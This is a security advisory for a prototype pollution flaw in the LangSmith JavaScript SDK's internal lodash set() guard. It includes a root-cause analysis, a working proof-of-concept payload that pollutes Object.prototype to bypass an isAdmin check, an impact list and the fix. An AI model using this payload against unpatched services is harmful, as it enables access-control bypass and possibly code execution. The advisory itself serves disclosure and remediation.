VDB
KO
MEDIUM 5.6

GHSA-fw9q-39r9-c252

LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`

Details

# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`

**Severity:** Medium (CVSS ~5.6) **Status:** Fixed in 0.5.18

---

## Summary

The LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.

---

## Affected Products

| Product | Affected Versions | Component | |---------|-------------------|-----------| | `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` | | langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |

**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.

---

## Root Cause

The SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:

```typescript function baseAssignValue(object: Record<string, any>, key: string, value: any) { if (key === "__proto__") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value: value, writable: true, }); } else { object[key] = value; // ← No guard for "constructor" or "prototype" keys } } ```

This blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `"constructor.prototype.polluted"`:

1. `castPath()` splits it into `["constructor", "prototype", "polluted"]` 2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype` 3. `assignValue(Object.prototype, "polluted", value)` calls `baseAssignValue()` 4. Key is `"polluted"` (not `"__proto__"`), so the guard is bypassed 5. `Object.prototype.polluted = value` — all objects are polluted

---

## Attack Vector via Anonymizer

The `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:

1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys 2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`) 3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)

An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:

```javascript { wrapper: { "constructor.prototype.isAdmin": "contains-secret-pattern" } } ```

`extractStringNodes()` produces path `"wrapper.constructor.prototype.isAdmin"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.

Although `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.

---

## Proof of Concept

```javascript import { createAnonymizer } from "langsmith/anonymizer";

const anonymizer = createAnonymizer([ { pattern: "secret", replace: "[REDACTED]" } ]);

console.log("BEFORE:", ({}).isAdmin); // undefined

const maliciousInput = { wrapper: { "constructor.prototype.isAdmin": "this-is-secret-data" } };

anonymizer(maliciousInput);

console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data" console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"

function checkAccess(user) { if (user.isAdmin) return "ACCESS GRANTED"; return "ACCESS DENIED"; } console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED ```

---

## Impact

Prototype pollution in a Node.js process can enable:

1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects 2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks 3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects 4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values

---

## Remediation

In `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:

```typescript function baseAssignValue(object, key, value) { if (key === "__proto__" || key === "constructor" || key === "prototype") { Object.defineProperty(object, key, { configurable: true, enumerable: true, value, writable: true, }); } else { object[key] = value; } } ```

As defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.

---

## Timeline

| Date | Event | |------|-------| | 2026-03-24 | Initial report submitted | | 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |

---

## Credits

Reported by: OneThing4101

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / langsmith
Introduced in: 0 Fixed in: 0.5.18
Fix npm install langsmith@0.5.18

References